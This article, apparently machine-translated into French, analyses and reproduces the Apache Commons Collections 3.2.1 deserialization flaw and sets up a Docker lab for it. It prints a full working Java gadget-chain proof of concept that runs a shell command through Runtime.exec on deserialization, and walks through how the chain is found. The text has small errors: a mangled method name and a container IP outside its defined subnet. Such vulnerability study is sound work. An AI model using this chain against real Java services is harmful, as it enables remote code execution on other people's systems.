Maison > Article > Opération et maintenance > Comment analyser et reproduire la vulnérabilité de désérialisation d'Apache Commons Collections
Analyse complète des conditions d'extraction des vulnérabilités et reproduction des vulnérabilités.
Versions avec failles de sécurité : Apache Commons Collections 3.2.1 ou inférieure, [Version JDK : 1.7.0_80] Apache Maven 3.6.3.
Code principal POC :
package com.patrilic.vul;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);// transformerChain.transform(null);//创建Map并绑定transformerChainMap innerMap = new HashMap();innerMap.put("value", "value");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// //触发漏洞// Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();// onlyElement.setValue("foobar");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);//将ins序列化ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的数据流进行反序列化,验证ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();// }//}}}
Classe d'implémentation de l'interface Transformer-InvokerTransformer(), qui peut appeler n'importe quelle fonction.
Pour implémenter Runtime.getRuntime().exec(cmd), vous devez appeler le transformateur plusieurs fois et utiliser le résultat de retour actuel comme information d'entrée suivante.
Pour appeler Runtime.getRuntime(), considérez la classe ConstantTransformer, qui peut utiliser directement les paramètres d'entrée comme sortie.
ChainedTransformer En tant que classe d'implémentation, pour le tableau Transformer reçu, il utilise sa propre méthode de transformation (les paramètres sont saisis par l'utilisateur) pour traiter l'objet du tableau Transformer un par un, et utilise le résultat comme paramètre d'entrée pour le suivant. appel répété. Sa méthode transform() peut déclencher la vulnérabilité.
Afin de trouver le chemin de désérialisation, c'est-à-dire que les données lues sont désérialisées et exécutées, recherchez ensuite le chemin qui peut déclencher la méthode .transform() de l'objet ChainedTransformer en sens inverse.
La classe HashMap peut stocker des données dans des paires clé-valeur, et la méthode put(key, value) peut stocker des données.
La fonction de la classe TransformedMap est de stocker des paires clé-valeur et de les convertir en objets de transformation. La méthode decor() peut créer des paires clé-valeur, et la méthode checkSetValue() déclenchera l'instruction this.valueTransformer.transform(). . Recherchez dans l'ordre inverse pour appeler checkSetValue() [1] pour faire de this.valueTransformer un objet ChainedTransformer [2].
Pour [2], la méthode statique decor() de la classe TransformedMap peut atteindre l'objectif.
Pour [1], la méthode setValue de la classe statique AbstractInputCheckedMapDecorator MapEntry exécutera this.parent.checkSetValue(value), puis this.parent doit être défini sur l'objet TransformedMap [3].
Pour [3], analyse avancée de ce code dans le POC :
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
La recherche montre que pendant le processus d'exécution, l'objet TransformedMap est attribué plusieurs fois à this.parent dans la classe AbstractInputCheckedMapDecorator, et l'objet Map.Entry est renvoyé, ce qui est parfait pour l'exécution. La méthode setValue() déclenche la vulnérabilité.
Afin d'améliorer la polyvalence, nous devons trouver un moyen de déclencher la vulnérabilité lors de l'appel de la méthode de désérialisation. Par conséquent, envisagez de rechercher des objets de classe qui satisfont "override désérialisation readObject() et exécutez setValue() de la variable d'objet de classe Map. . En même temps, cette variable peut contrôler les données de valeur clé". La classe AnnotationInvocationHandler répond à cette exigence [elle appelle setValue() à chaque entrée d'une variable membre de type Map]. La fonction
Class.forName() consiste à charger des classes.
Analysez à nouveau, pour [1], l'analyse avancée du code principal dans le POC :
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);……Object obj = (Object) ois.readObject();
La recherche montre que le processus d'exécution exécutera la méthode setValue de la classe statique MapEntry et exécutera la méthode EntrySet pour réaliser cela. parent = Objet TransformedMap, donc vulnérabilité de déclenchement.
En général, l'idée de construction POC avant est la suivante : construisez d'abord l'objet ChainedTransformer, puis créez l'objet Map, puis utilisez l'instance de classe TransformedMap pour enregistrer l'objet ChainedTransformer dans l'objet de classe Map, puis obtenez l'initialisation de l'objet de classe Map via la méthode de réflexion Une instance de la classe AnnotationInvocationHandler pour la sérialiser.
Téléchargez l'image docker créée, utilisez la commande suivante :
docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1
Définissez le LAN et l'IP du conteneur, démarrez le conteneur, exemple :
(1) Personnalisez le réseau
docker network create --subnet=192.168.10.1/24 testnet
(2) Démarrez le docker containers
docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash
Dans le conteneur [Apache-Commons-Collections], exécutez la commande [java -jar commons-collections-3.1.jar] et le fichier [CommonsCollections3.1] sera généré, comme indiqué ci-dessous.
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!